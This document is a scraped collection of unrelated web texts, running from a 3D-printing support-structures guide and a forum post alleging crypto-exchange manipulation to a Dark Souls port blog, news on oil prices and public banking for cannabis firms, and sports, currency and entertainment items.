For complex prints with a high amount of detail and many thin or intricate features dividing up the print into separate sections and then assembling them together (via snap-fit connections, interlocking parts or adhesives) can also improve print quality and appearance.
Curious about the cost and the available material options of SLA/DLP? Get instant quote See all SLA materials
SLA printed part showing some marks where support was located
Material Jetting support structures
Material Jetting (Stratasys PolyJet and 3D Systems MultiJet Modeling) technologies are similar to inkjet printing, but instead of jetting drops of ink onto paper, these 3D printers jet layers of liquid photopolymer onto a build tray and cure them instantly using UV light.
When is support needed in Material Jetting?
These printers require the use of support material in all cases where there are overhanging parts, regardless of the angle. Supports are either water-soluble or are removed during post-processing using plyers, water jetting, ultrasonic bath and sandblasting.
Unlike FDM, supports for these technologies are in no way detrimental to the looks, surface quality or technical properties of the prints. After proper post-processing, it’s practically impossible to distinguish parts that were covered with support from the rest of the print.
Curious about the cost and available material options for Material Jetting? Get instant quote See all materials
Removing water soluble support material from a PolyJet print
Design Considerations for supports in Material Jetting
Due to the power tools (waterjet, sandblaster) used during-post processing, intricate parts of the model might get damaged or bent. Make sure to follow Material Jetting rules to avoid any issues. If your model has intricate parts and thin wires, SLS printing is recommended instead.
SLS support structures
Selective Laser Sintering (SLS) fuses powdered material in a chamber using a laser.
For SLS there’s no need for support structures since the powder acts as support when the object is built up layer by layer. This gives a lot of design freedom but also generally increases the cost and time to print a part. SLS requires time for the build chamber to cool down and cleaning the print requires a multi-step finishing process, including removing unfused powder, typically with an air gun.
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When printing with SLS, the unfused powder around the print functions as natural support that is easy to remove.
Binder jetting support structures
Binder jetting is similar to SLS in the way that the printer uses thin layers of powdered material to build up an object, but instead of using a laser that sinters the layer together, these printers use a binding agent extruded from a nozzle to bind the powder together.
Just as with SLS, there’s no need for support structures since the powder acts as support when the object is built, but cleaning and post processing the print requires a multi-step finishing process, including removing unfused powder, typically with an air gun.
Curious about the cost and available material options for Binder Jetting? Get instant quote See all Binder Jetting materials
Unfused powder is removed from a binder jetted print.
Metal printing support structures
Metal printing technologies use support structures to keep models fixed to a base plate during the building process in all cases, but overhangs with an angle greater than 35 degrees can be built without support. When supports are needed, it’s important to make sure that they are easy to access or else they cannot be removed during post-processing.
The usage of supports does not impact the quality of the print in any way, and with proper post processing, all marks can be removed from the printed model.
Curious about the cost and available material options for Metal 3D printing? Get instant quote See all Metal 3D printing materials
Metal prints - still attached to the printbed - showing support structures.
Rules of thumb
Support will generally have a detrimental impact on the appearance of a part (with the exception of Material Jetting). Post-processing is generally required to improve surface finish after support removal.
The more support that is added, the more complex a design can be. The amount of support used can be optimized (part orientation, required level of accuracy etc) to lower cost and print time.
The table below summarizes whether support is required for each of the 3D printing technologies:UnknownRighter
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NewbieActivity: 4Merit: 0 Evidence of Major Market Manipulation on Kraken Exchange Following ETF Announcem March 12, 2017, 07:40:59 PM #1 Legitimate trading was blocked by insiders and the exchange (kraken), the price was fixed, with a follow-up short squeeze.
I have been a member of the Bitcoin community for quite some time, though a rather silent one. I read, I watch. I have also been actively trading. I am quite aware of some of the complaints and accusations that come up during periods of rapid price movement, particularly the ones that are quite simple to see coming. Though largely evidence is not available. I have experienced some sketchy things myself as well, though haven't been able to dismiss the technical hand waiving excuses that are issued.
Given this recent significant day was certain to have all eyes watching and all hands on deck, I was not going to be routed this time.
To substantiate what I am going to say, without identifying myself, let it be known I am highly educated and experienced in the relevant domains. What I am going to say is not an opinion but a qualified professional conclusion based on planned testing and observation.
The standard excuses are that the servers can not handle such peak loads, that that much traffic is no different than a DDOS. This ma ybe true or simply contrived and convenient. It doesn't have to be true but it may very well be. Though I'm sure the point still will be made by someone, in this case it has no relevance. I prepared to circumnavigate the bottleneck on the web front end.
To prepare for the day I wrote a python GUI to interact directly with the trading systems's API. It was simple with buttons for long and short orders at market rate. It also had a button I called 'clear' that fetched my account balanced details (it also toggled the colour of the buttons after use). This clear button enabled me to test the system responsiveness. As turned out it worked perfectly and I did in fact not suffer the same congestion the web front end experiences. Yay me. This GUI was set to be always visible above my other open windows so I couldn't fumble to get to it.
I also had my exchange account page open such that I could keep pressing F5 on my orders page to confirm that my orders were in fact processed and lodged into the system.
To ensure that I would be one of the fastest human actors, only beaten by well written bots or tightly placed Stop orders, I also wrote a script to fetch and parse a handful of pages that would likely post the ETF news and it did so on a 3 second timer. This data was continuously displayed in a terminal which then told me which of the open tabs I need to check before hitting those order buttons. The process was as efficiently streamlined as I could manage with the time I had. It worked perfectly. My Star trek Red Alert siren went off even before the price had moved much at all.
I had acted slightly slower than I was planning as the siren, my phone, and two separate chart pages all triggered their alarms in a cascade, it nearly gave me a heart attack while clicking to the correct browser tab (bats).
The following is a screen shot of what I was looking at during the activity (redacted to obscure identity). Followed by observations of the significant details and my conclusions.
http://i.imgur.com/bkbsOX4.jpg
This screen shot was taken at 4:40 Eastern Time (9:40 in my time zone)
Observation Notes:
1. 4 orders had been accepted by the system at the following times (they were significant in size):
4:06
4:07
4:07
4:13
Also, as you can see from kraken/cryotowatch chart tool, two other orders were filled at (pressed the button enough times would certainly saturate my limits ensuring end-to-end success in the event of high failure rate):
4:05
4:07
2. Observe the current time stamp: 4:40
This is 35 minutes after they were accepted.
3. Observe the data is current as the page reload timer reads 8 seconds.
Many people have commented over the last couple of days about how unprecedented the drop was. The current sock puppet narrative is that Bitcoin has really stabilised as a market and does not crash so much, it is now healthy. Nothing could be further from the truth. I do now sadly find myself in agreement with the SEC.
The current narrative is total bullcrap to cover observable strange characteristics of the market, Bitcoin is as unhealthy as it has even been and more. Bitcoin is now in full crisis mode after manipulation of this scale.
Corrections are healthy. The market must decide the base support price before any speculation can be reasonably made. On this big day, the market was blocked by an inside group that are now showing signs of significant degrees of criminality. This ETF day was... a heist.
The market was not allowed to express it is opinion of the ETF result.
The general consensus was that the price was going to go sub 800. It could have gone much much lower.
Also, many people have commented since that the price didn't drop as sharply as they had expected. That the price didn't go as low as expected. That the price came back faster than they expected.
All of you were watching, I know you were. You thought the same things didn't you.
This is what I assume happened:
Wales in collusion with the exchanges rigged the order books (this just wouldn't work without inside collusion). They had a limit to how much they could invest in such a scam and a limit to their risk appetite. Leaving a high price massive purchase open to the behaviour of a free market could have worked out very badly. So they controlled the price trajectory.
Only a controlled amount of sell orders we are allowed to be executed. Enough to allow for a sudden drop (they f***ed up the rate of decent here). The rest of the orders were just stashed and ignored (no trading market has ever tolerated such behaviour from an exchange, this is capitol sin #1. Even just a small pinch of replaying the order book such that the house games the clients is outrageous).
At a controlled rate the orders were consumed by some massive buying holding the line at 1,000 Euro. This went on for half an hour!!!!!!! No f***in way is that realistic. The volume traded doesn't even support that detail.
What followed then was a short squeeze.
Excuses that are made when such behaviour has been suspect is 'network congestion'. Here in this case I have proved that didn't happen to me at least. The next excuse is the trading computer system was overwhelmed. That doesn't require counter evidence. Computers simply do not work like that. Processing orders is nothing like multidimensional numerical algorithms that take time to converge (which modern computers can handle). Trade orders is simple accounting, addition and subtraction. Computers rip through that work like they were born to do it (they were). As the provided evidence shows, orders were still not processed a full 40 minutes later! Even being pragmatic and accepting that sure some latency occurred, the processing slowed down some. It would have been in the order of seconds, at most if they really do have crap computers (they do not), a couple of minutes. Not 40 minutes. My single laptop could have crunched those number in less time. Furthermore, in almost all system, the network in the bottleneck. Computers can in most cases process whatever a network can deliver.
There was no system throughput problems anyway, I tested that too with a small buy order that went through instantly. The web front end was laggy, I'm sure that pissed people off (though irrelevant)
Software bug are also no valid excuses. The execution of orders is a very simple and straight forward algorithm. If there were bugs in it, the ALL orders would get effected, not a conveniently perfect number of orders.
No crime goes down perfectly as planned. The story is the the market handled the news of ETF denial well is a cover story. Given orders were outstanding for so long, though in fact they had more orders thrown at them than they anticipating. 40 minutes is an absurd amount of time to keep orders buffered, I would assume that was not the plan as it smells bad.
Then the short squeeze began. Once the insiders had consumed most of what they could handle at a controlled rate, they began constricting the sell orders even move such that they could begin artificially driving the price upwards. Once people who had buy orders placed down low at a reasonable prices saw the price begin turn around, many then would have reset their own buys. This then set the market upward cautiously. Anyone who didn't cancel their shorts would have screwed then as they were still proportionately being executed against the tide (one of mine was).
This comes on the very same day the SEC rejects an ETF on the grounds of a lack of regulation. It is then ironically proven Bitcoin exchanges are overdue for, and in desperate need of regulation and oversight. The degree of criminality is out of control. They are playing every old market game that is known and it is in your face. You are getting played. This |
most interesting fantasy worlds of any RPG out there, can yes please take my money.
I've purchased Dark Souls twice already for consoles, and if for some reason I don't get a review code for the PC version, I'll buy it again. And every single penny I spend will be more than worth it, graphics and frame-rate be damned.
And it will be worth it to you if you're a PC gamer who hasn't been able to play this yet - so long as you don't mind dying a few times. From Software has shown gamers plenty of respect already by creating such a tough, fair, intense title - and then agreeing to port it for fans. That they're unskilled at PC is no reason to throw this all in their faces.
Give them a chance and I bet you'll see their next Souls game - if there is one - appear on PC from the get-go. I'm not saying go buy the game right away. I'm just saying wait and see.
P.S. I understand that if sales are bad for this game it may not be the result of piracy. But too many PC gamers out there right now are already writing From off saying that "If sales are bad, they'll blame piracy!" as though From Software has any track record at all of doing this. I say quit imprinting a non-PC developer with the bad things other developers have said and done in the past. This is too cynical to be healthy.
P.P.S. Yes, I'm seriously biased on this one. I think this game is one of the best games ever made, and I think a straight-up PC port, while not ideal, is better than no port at all, which was the original plan.
Now drink.
Update: It appears a user [Durante on Neogaf] has already cracked the game and started implementing resolution fixes on their own (though no word yet on frame-rates.) In an ideal world this means that we'll see a patch at a later date allowing higher resolutions and better frames. In an even more ideal world, this game would be open to modding from the get-go.
Oh, and speaking of Dark Souls vs. The Witcher 2...
Update 2: Some commenters have pointed out, rightfully, that the number one reason not to pirate this is because piracy is wrong. You shouldn't justify stealing a game for any reason. I agree. While I think doom-and-gloom portraits of piracy are often way over the top, neither do I condone the practice. I am speaking to this game in particular because of all the calls for piracy lately.
But I also don't mean to suggest that people should be all roses and sunshine about the port - a fixed frame-rate, low resolution, GFWL port has plenty to complain about, and gamers are justifiably upset. If you want to hold the wallet and not buy the game, I think you're well within your rights to do so - obviously.
Or wait for a price drop! Or wait for a fix!
Update 3: I've been reading through the Neogaf thread and saw some interesting points made. One, we don't know if the higher unlocked resolution will be stable throughout the game. This is important. It could be that From tried and failed and that this supposed fix will fail as well. I hope not, but it's possible.
It's also possible, as some posts have noted, that From didn't really understand that a PC port should be different than the console versions, or didn't want the experience to be particularly different between console and PC (out of, perhaps, a misunderstanding of the PC gaming community.)
The last theory, which I doubt but which is fun, is that From wanted the Dark Souls community to make the fixes themselves as part of the "meta game." This seems unlikely, but I like it anyways.
Anyways, I see a lot of people saying that now there's a fix they'll buy the game so that's good. I'm still not convinced that this means the fix will work perfectly or that From was just being lazy, but it's possible. It's also possible that gamers are jaded for many other reasons, and From didn't realize what a kettle of fish it was getting into.
Update 4: Two more things. First, it's weird to see how many people are almost gleeful about saying "From Software shamed!" and other such stuff. Okay, complain about the port. That's fine. But this is a good game and I don't take any joy in lambasting its creators for whatever reason. Maybe that's just my bias showing up, I don't know.
Second, I'm looking at comparison shots, and I'm having a hard time getting as worked up over this as many other people. I love pretty graphics, but this is a game I play for other reasons. I have a very nice gaming computer that I built myself, but I'm okay with lower-resolution games. That may make me a heathen, but I can live with that.
And I want to reiterate that it's still very possible that the fix on Neogaf is actually less promising than we think, and could result in poor performance issues later on. Cross your fingers.
Update 5: I've posted a video showing the first seven minutes of the PC version and it looks just fine.
Follow me on Twitter or Facebook. Read my Forbes blog here.Until recently, the received wisdom in the city was (a) that the steep rise in the oil price would be temporary, and (b) that it would only cause serious problems if it went to $150 a barrel. At least one of those two beliefs is now being tested. Possibly both.
After a brief period of treading water, the price of oil lurched up again yesterday, with Brent crude pushing back up toward the $120 mark. The last thing the Opec countries want is a market panic. That's why today you see talk of Saudi Arabia, Kuwait, the UAE and Nigeria all raising their production. But now the world is officially worried about the balance between oil demand and supply, I wonder how much long-term reassurance this can offer.
Consider, first, the question of how long the oil spike will last. I was struck by the Bank of England deputy governor, Charlie Bean's blunt answer to this in a speech at the end of last week:
"the bottom line is that while agricultural prices may fall back a little this year, oil (and also metals) prices are more likely to remain elevated. And there must be a risk that continued turmoil in the Middle East and North Africa results in a substantial oil price spike, present Opec spare capacity notwithstanding."
This chart of the oil price (below) over the past year or two shows how prices have leapt up in response to events in the Middle East. But you can also see how the oil price had previously been marching upwards, with no help from Colonel Gaddafy or anyone else.
Most economists were fairly relaxed about that earlier rise, because it was linked to rising demand from the emerging market economies, not disruptions in supply. But, as The Economist points out in its latest issue, a look back at history finds plenty of occasions when large increases in the oil price have been followed by recessions, when the root cause of the price spike was rising demand. All you need is for rising demand to collide with unresponsive supply.
The gap that's opened up between the US and global benchmark price of oil (WTI and Brent crude) shows how different supply conditions can have large consequences for the price. Prices are lower in the US because America has greater refining capacity - and it's recently tumbled on a lot of new supplies of natural gas, which US producers find hard to export.
Libya accounts for only about 1.5% of global production, or just over 1.5 million barrels per day. Reports suggest that production is now running at about a half or a third of that level. Somehow this has added nearly $20 to the cost of a barrel of oil.
Does the world have alternative sources to turn to, if Libyan production shuts down altogether - and/or the crisis hits production elsewhere? For decades the answer to the spare capacity question has always been Saudi Arabia. As long as supply was not disrupted there, the thinking was that everything would probably be OK.
As I said at the start, Saudi officials are doing everything they can to strengthen this belief. They have no interest in people losing confidence in the scale of their reserves. But there are plenty of long-time sceptics out there, who say the Saudis have been overstating how much oil they have left - and say now they're exaggerating their spare capacity as well. One Washington insider told me yesterday: "we're clear that the Saudi ability to make up for more than Libyan disruption is non-existent." Those doubts are helping to push up the price. No wonder they're rallying other Opec troops for the front page of today's FT.
Assume that roughly $120 per barrel oil is here to stay, with a strong chance that it will rise further. What does that mean for the global recovery? The answer is that no-one can know for sure.
Optimists point out that, historically, oil prices need to double in a year to cause serious bother. That's how you get that $150 threshold I mentioned at the start. Any number below $150, supposedly, the world is OK. Another point in our favour is that we are at the start of the economic cycle this time. Previously, higher oil prices have tended to push the world into recession when interest rates have been rising for a while and the recovery is fairly mature.
One estimate, from Fathom Consulting, suggests that a permanent 10% rise in the price of oil in the first three months of 2011 would not have much effect on global growth this year, but take about 0.2% off the growth rate next year. That's not nothing, but it's manageable. Whereas, in their model, $150 per barrel oil would cut growth next year by fully 1%. But as the authors admit, these things are rarely so clear-cut. And it matters a great deal where you are starting from.
Look around the world today, you see emerging market economies with an inflation problem, and rich countries who mostly have a growth problem. The worrying thing about an oil price hike is that makes both problems worse. It's especially worrying for the UK, which is in the unique position of battling slow growth and rising inflation.
That is why the past five global recessions have all been preceded by a sharp rise in the price of oil. They not only hit growth, they make it harder for policy makers to respond. Oil is the ultimate wild card for the global economy - and it's been a while since the UK was dealt a good hand.Five years ago, in the aftermath of the Supreme Court’s Citizens United decision, the editorial board of The New York Times denounced the very idea of allowing for-profit corporations to engage in robust political speech. If we the people allow corporations to use “their vast treasuries to overwhelm elections and intimidate elected officials into doing their bidding,” the Times declared, democracy itself will be imperiled.
I was reminded of that anti-corporate editorial today when I read the latest editorial from The New York Times’ editorial board:
Big corporations like Walmart, Apple, Salesforce.com and General Electric and their executives have done the right thing by calling on officials in Indiana and Arkansas to reject “religious freedom” laws designed to give businesses and religious groups legal cover should they deny service to gay couples.
The Times then urged those big corporations to use their vast treasuries to help elect candidates who support gay rights, gay marriage, and the expansion of anti-discrimination laws.
In other words, according to the Times, it is a threat to democracy when corporate power is used to “intimidate elected officials,” but it is both beneficial and applaudable when several of America’s most powerful corporations throw their weight around in the hopes of influencing elected officials to take a particular side in a contentious political dispute.
Got it? Me neither.A woman who started a Facebook Group to call out people with bad driving habits had no idea she would garner so much attention.
Melissa Nicole Whalen is the administrator of “Idiot Drivers of Newfoundland,” a group which now has over 8,000 members. She says people are using it to rant and get the rage out of their system when they see drivers behaving badly. She cites the rash of fatalities on our roads in recent months as a reminder to all of what can happen.
Whalen started the group out of concern for her unborn child. People have been relating many stories of drivers who don’t use their indicators, ignore the speed limit and do crazy things such as pull in front of other vehicles.
She will become a first-time mom in about a month, and wants the roads to be safe for her child.
View Idiot Drivers of Newfoundland at this link.The Yankees are next in MLBTR’s 2013 Contract Issues series:
Eligible For Free Agency (10)
Contract Options (5)
Robinson Cano : $15MM club option with a $2MM buyout. The Yankees will exercise this option. It's hard not to wonder if they'll break from team policy and discuss an extension with the star second baseman.
: $15MM club option with a $2MM buyout. The Yankees will exercise this option. It's hard not to wonder if they'll break from team policy and discuss an extension with the star second baseman. Rafael Soriano : $14MM player option. Soriano can opt out and take $1.5MM buyout after the season. If Soriano finishes the season with a gaudy save total and a sparkling ERA, he could opt out and test free agency. But the market for elite free agent closers can dry up unexpectedly, as fellow-Scott Boras client Ryan Madson found out this past winter. The safer bet would be staying put and accepting the $14MM salary.
: $14MM player option. Soriano can opt out and take $1.5MM buyout after the season. If Soriano finishes the season with a gaudy save total and a sparkling ERA, he could opt out and test free agency. But the market for elite free agent closers can dry up unexpectedly, as fellow-Scott Boras client found out this past winter. The safer bet would be staying put and accepting the $14MM salary. Curtis Granderson : $13MM club option with a $2MM buyout. The Yankees will exercise the option. As with Cano, the extension question persists.
: $13MM club option with a $2MM buyout. The Yankees will exercise the option. As with Cano, the extension question persists. Pedro Feliciano : $4.5MM club option. The Yankees will decline this option, which means they won't get a single pitch for their investment in Feliciano.
: $4.5MM club option. The Yankees will decline this option, which means they won't get a single pitch for their investment in Feliciano. David Aardsma: club option based on 2012 performance bonuses. The Yankees' decision will depend on Aardsma's recovery from Tommy John surgery and his performance upon returning to action midseason.
Arbitration Eligible (9)
Hughes is in line for a raise from $3.2MM, while Gardner's extended stint on the disabled list will reduce his bargaining power in arbitration. Nix could be non-tendered and if the Yankees aren't optimistic about Chamberlain's right ankle injury, they could release him as well. Pena and Cervelli are playing at Triple-A and won't necessarily accrue enough service time to qualify next offseason.
2013 Payroll Obligation
The Yankees have already committed more than $119MM to next year's payroll, according to Cot's Baseball Contracts. That's exceptional for most franchises, but the Yankees have spent more than $200MM on their team in each of the past five seasons. Expect GM Brian Cashman to look for ways to reduce payroll, as the team aims to slip under the $189MM luxury tax threshold for 2014.With recreational marijuana sales set to become legal in California next year and most banks unwilling to open accounts for cannabis companies, pot entrepreneurs are desperate to figure out what to do with their piles of cash. Now, some want the state or cities to get involved.
Over the last year, there has been increasing interest among cannabis businesses and public officials in the idea of public banks: government-owned institutions that would take deposits, make loans and, in California at least, be willing to work with marijuana companies.
Gubernatorial candidate and California Lt. Gov. Gavin Newsom has called for the creation of a public bank and has discussed the idea with members of the cannabis industry. This week, L.A. City Council President Herb Wesson said he wants to look into creating a city-owned bank that might serve cannabis businesses.
But would it work?
Maybe, said Matt Stannard, who has been an advocate of public banking long before California residents voted to legalize recreational pot use last year.
He’s optimistic, but also warns that there are plenty of potential pitfalls.
“I’m not going to say that if you create a public bank, it's going to solve all of the marijuana industry's banking problems,” he said. “But it’s worth a try.”
Why a public bank?
A public bank is much like a private one, taking deposits and making loans. There are a few big differences:
Private Owned by shareholders.
Run by a board of directors selected by shareholders.
Run to generate profit and return profit to shareholders. Public Owned by the public.
Run by elected or government-appointed officials.
Run to support public priorities and return profit to the public.
Stannard, policy director for Sonoma, Calif.-based advocacy group Commonomics USA, said there are a handful of potential benefits of public banks, some economic and some social, irrespective of their use by the marijuana industry.
If California had a public bank, the state could deposit tax revenue there rather than at a private bank. Those deposits would then be used to make loans.
But unlike at a private bank, those loans could be used to support state needs — such as affordable housing — and profits could be returned to the state coffers.
The Bank of North Dakota, the only publicly owned bank in the country, has paid $85 million into various state government funds over the last four years, according to its most recent annual report. It makes low-interest student loans and farm loans and helps finance local public-works projects, all priorities set by state leaders.
Newsom, in a series of tweets in May during the California Democratic Party convention, said California should develop a state bank to offer student loans and finance the construction of healthcare facilities and housing.
https://twitter.com/GavinNewsom/status/866025025429618688
https://twitter.com/GavinNewsom/status/866025388027158528
The cannabis candidate: Gavin Newsom dominates donations from the growing industry »
Stannard said the state could also make cannabis banking a priority, if for no other reason than to address the public safety concerns presented by the industry’s current reliance on cash.
“The voters of California have voted to allow recreational marijuana but, given the status quo, that’s a huge mess, and it’s dangerous,” he said. “A public bank may be the best way to clean up that mess and the best way to provide financial and physical security to the industry.”
But what about federal drug laws?
Most banks won’t knowingly work with marijuana companies because marijuana is an illegal substance under federal law. Banks are overseen and insured by federal agencies, so federal rules, not state ones, are key.
State- or city-owned banks could get around at least some of that federal oversight. At the Bank of North Dakota, deposits are insured by the state itself, not by the Federal Deposit Insurance Corp., taking one federal agency out of the mix.
The bank is overseen by the North Dakota Department of Financial Institutions, not by federal bank examiners. Ratings agency Standard and Poor’s noted in a 2014 report that Bank of North Dakota “has no oversight from U.S. government authorities or banking regulatory bodies.”
A medical marijuana patient pays for a purchase through a teller window at Medex, a dispensary on Century Boulevard in South Los Angeles. (Luis Sinco / Los Angeles Times)
But there’s still at least one way federal rules could block public banks from working with pot businesses: by shutting them out of the Federal Reserve system.
To be able to process checks, wire transfers and electronic payments — in other words, to interact with the rest of the financial system — banks must have an account with one of the nation’s 12 regional Federal Reserve banks. Without such an account, a bank is “nothing but a huge cash vault,” said Mark Mason, one of the founders of Fourth Corner Credit Union, a Colorado institution that aimed to serve that state’s cannabis industry.
When Fourth Corner applied for an account at the Federal Reserve Bank of Kansas City in 2014, the application was denied, in part because of its plans to focus on the marijuana businesses. The credit union sued, arguing it was entitled to an account, but a federal district judge sided with the Kansas City Fed.
The credit union appealed and it now appears Fourth Corner will be able to get an account — but only if it pledges not to work with cannabis businesses. Mason said the credit union’s plan for now is to serve marijuana advocacy groups and perhaps businesses that are connected to the industry but that don't grow or sell cannabis.
There has been no firm ruling on the key issue in the case: whether a financial institution that plans to work with cannabis companies will be able to get a Fed account. Stannard said public officials and cannabis entrepreneurs pushing for public banks should be aware of this, though it shouldn’t stop them from proceeding.
“It is not a settled question,” he said. “There are legal barriers still. But our position is it’s a battle worth fighting.”
He also suggested that the Federal Reserve Bank of San Francisco, the central bank for California and eight other western states, may take a different approach than its counterpart in Kansas City. What’s more, he suggested California’s size could allow it to succeed where Fourth Corner failed.
“There’s a big difference between an application from a tiny credit union and an application from the sixth-largest economy in the world,” he said.
How long are the odds?
If California, Los Angeles, Oakland or any other jurisdiction in the state successfully creates a public bank, it would be the first to do so in the United States in nearly a century.
A handful of states had their own public banks in the 1800s, but now the Bank of North Dakota is the only one remaining — and its origins have a parallel in the current public-bank movement.
The Midwestern bank was created in 1919 at the behest of wheat farmers who felt they were being overcharged by banks in Chicago and Minneapolis. Today, the cannabis industry feels mistreated and is pushing for a public option.
“This industry has been shut out of traditional banking systems in California, creating a catalyst for us to take up the public-banking question,” said gubernatorial candidate and state Treasurer John Chiang, who has said he is interested in public banks but has not endorsed the idea.
He leads a group of regulators and cannabis industry representatives trying to bring the industry into the mainstream. Public banking will be the focus of the group’s next meeting, to be held in Los Angeles next month.
There’s also the notion that a public bank could provide loans that private banks are less interested in making.
“Imagine … a bank where its vision statement is to finance the building of affordable housing,” Wesson said in a speech Tuesday. “Imagine if we had a bank that is focused on working with small business entrepreneurs to give them loans.”
There have been campaigns for public banks for years in other states and cities, especially in the wake of the financial crisis, but they haven’t gone anywhere. A 2012 California Assembly bill calling for the creation of something approaching a state bank never made it to a vote.
In Massachusetts, the state Legislature in 2010 called for a study on the feasibility of creating a state bank. The resulting report recommended against such an institution, finding that the state would have to borrow billions of dollars to set up the bank and that depositing public funds in such a bank could put taxpayers at risk.
That, Stannard said, is how most public banking campaigns die.
“It’s always a question of political will,” he said. “You have public officials who are risk averse, and the safest thing to do is nothing.”
Even if the idea moves forward, creating a public bank could take years.
Dan Newman, a spokesman for Newsom’s campaign, said the lieutenant governor is open to the idea of a public bank that would work with cannabis companies, but said such an institution is not “a short-term answer or an immediately scalable option.”
And, of course, there’s the banking lobby. Private banks and their trade groups would probably fight the creation of a public bank, on the grounds that a public institution could have an unfair competitive advantage, said Simone Lagomarsino, chief executive of the California Bankers Assn.
“Who’s going to regulate the bank? Who’s going to examine it? If it loses money, are taxpayers OK with absorbing a loss? These are questions our bankers would be asking,” she said.
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james.koren@latimes.com
Follow me: @jrkorenYesterday, March 13, 2008, the US Department of the Treasury released the new $5 bills into circulation. The new $5 bills were included among currency shipments from Federal Reserve to banks, which will distribute the money to customers and businesses. People will start seeing these new bills as soon as this weekend.
Changes to the new $5 bill
Changes to the front: There are several striking visual changes to the new $5 bill. There is a splash of light purple next to Lincoln’s portrait that fades to gray as it spreads toward the bill’s edges. To the right of Lincoln’s portrait (as you view the bill), there is an imprinting of The Great Seal of the United States. Surrounding Lincoln’s portrait and The Great Seal of the United States is a band of purple stars.
Changes to the back: The most obvious changes to the back side of the $5 bill include a large purple “5” in the bottom right corner of the bill, small yellow “5” numerals on the back, and a multitude of changes to the micro-printing and other security features.
Security features of the new $5 bill
The descriptions of the security features are taken from the US Government press release for the new $5 bill.
Watermark: There are now two watermarks on the redesigned $5 bill. A large number “5” watermark is located to the right of the portrait, replacing the previous watermark portrait of President Lincoln found on older design $5 bills. Its location is highlighted by a blank window incorporated into the background design. A second watermark — a column of three smaller “5”s — has been added to the new $5 bill design and is positioned to the left of the portrait.
Security thread: The embedded security thread, which is located to the left of the portrait on older-design $5 bills, has moved to the right of the portrait on the redesigned $5 bill. The letters “USA” followed by the number “5” in an alternating pattern are visible along the thread from both sides of the bill. The embedded security thread glows blue when held under ultraviolet light.
Rules for reproducing US currency
Don’t go printing these out! Here is what you need to know if you want to reproduce images of US currency:
Regulations for Reproducing U.S. Currency
PART 411 — COLOR ILLUSTRATIONS OF UNITED STATES CURRENCY
Authority: 18 U.S.C. 504; Treasury Directive Number 15-56, 58 FR 48539
(September 16, 1993)
411.1 Color illustrations authorized
(a) Notwithstanding any provision of chapter 25 of Title 18 of the U.S. Code, authority is hereby given for the printing, publishing or importation, or the making or importation of the necessary plates or items for such printing or publishing, of color illustrations of U.S. currency provided that:
(1) The illustration be of a size less than three-fourths or more than one and one-half, in linear dimension, of each part of any matter
so illustrated;
(2) The illustration be one-sided; and
(3) All negatives, plates, positives, digitized storage medium, graphic files, magnetic medium, optical storage devices, and any other thing used in the making of that illustration that contain an image of the
illustration or any part thereof shall be destroyed and/or deleted or erased after their final use in accordance with this section.
(b) [Reserved].
For more fun, explore the interactive feature for the new $5 bill. Click on the link under the small picture of the $5 bill – “Explore the Interactive $5 Bill.” This launches a separate window, but is pretty cool!
Photo credit: $5 bill front and back – The Associated Press (link no longer available). All other photos: MoneyFactory.gov.When a founder of the famed Lebowski Fest announced a new festival focused on an under-appreciated pop culture icon—Pee-wee Herman—Louisville paid attention.
The Facebook page for Pee Wee Over Louisville, as organizer Will Russell dubbed it, garnered more than 1,000 likes in just five days after its creation. It now has more than 4,000—many of whom are using the social media site to convey their displeasure that the event has been canceled.
This week, Russell got a cease and desist notice from the Herman folks and called off Pee Wee Over Louisville. Russell took a moment to discuss what happened and what comes next.
We’re you surprised that they said no?
I was not surprised.
How was this different than your past dealings with The Big Lebowski trademark owners?
This all happened much more rapidly than Lebowski Fest. In 2002 when Lebowski Fest started, the Internet was a different landscape and we were not as connected as today. Social media as it stands today accelerated this event incredibly quickly and the Facebook Page gathered 4,000 followers in under a month indicating that fans have been waiting for someone to stand up and say, “It’s OK to like Pee-wee Herman.” The Lebowski people seemed to recognize that the organic fan festival was creating good will for their brand and perpetuating its relevance over the years.
Did you anticipated the Pee Wee people saying no? Or think it was possible?
I reached out to his office prior to launching the event and stated that I wanted to do it in a way that he was comfortable with. I received no response and proceeded with the site in late December. This March I received a call from Paul Reubens himself who put me in touch with his office and they stated that they wanted to help me in any way they could. After working with them for a couple months, it became clear they were going to object. I offered any compromise I could think of including changing the event title, the graphics and offering to set up a licensing/royalty deal and/or donate any proceeds to a charity of their choice. In spite of my efforts, I received a cease and desist letter on May 21 and canceled the event.
Are you going to try to do anything else?
We still have Tyler Park reserved and the event was going to be in honor of my daughter’s 1 year birthday. Her nickname is Baby Magoo so we might still have a simple kid-friendly event tentatively titled “Magoo Over Louisville.”
Does this change your opinion on Pee-wee?
I am obviously disappointed this couldn’t be worked out as are the countless fans who all had the shared experience of our hero being ripped away from us after the indecent exposure scandal in 1991. I think fans have the right to celebrate what they love and this could have been really great. I still have hope that maybe down the road we can find a way to make this work.June 12: Kanye West shares with the Design Miami/ Basel audience parts of its unreleased new album Yeezus during a listening session at Design Miami/ Basel in Basel, Switzerland.
Kanye West, John Mayer and A Great Big World are among the guests who will appear on the first week of "Late Night with Seth Meyers."
'College Dropout' Revisted: An Oral History
Of Kanye West's Landmark Debut
"Late Night," being taped at Rockefeller Center, launches Feb. 24 with Amy Poehler, Vice President Joe Biden and A Great Big World. West, who will not perform, and author Robyn Doolittle ("Crazy Town: The Rob Ford Story") appear on Feb. 25.
Brad Paisley will perform Feb. 26, followed a day later by a performance from John Mayer.
"Late Night with Seth Meyers" will airs weeknights at 12:35 a.m. Meyers is taking over the show from Jimmy Fallon who begins as host of "The Tonight Show" on Feb. 17. On Monday, Myers announced that fellow "Saturday Night Live" alum Fred Armisen will serve as bandleader.
Jimmy Fallon's 'Tonight Show': The Billboard Cover StoryLarge cacti appear to point at the sky in the Chilean Atacama Desert. The Milky Way dominates the image, with the Large Magellanic Cloud in the lower right. These cacti (Echinopsis atacamensis) grow on average 0.4 inches (1 centimeter) per year, and reach heights of up to 30 feet (9 meters). These particular plants are found on the winding road connecting ESO's Atacama Large Millimeter/submillimeter Array (ALMA) Operation Support Facility to the Array Operation Site at ESO, at an altitude of about 11,500 feet (3500 meters)
A new study has pinned down the age of the Milky Way's outer reaches with unprecedented precision, shedding light on how our galaxy and others across the universe came to be.
Previous studies of the Milky Way's inner halo — the region surrounding the galaxy's familiar spiral-armed disk — had estimated that it formed anywhere between 10 and 13 billion years ago. The new study narrows that down considerably, pegging the inner halo's age at 11.4 billion years, plus or minus 700 million years.
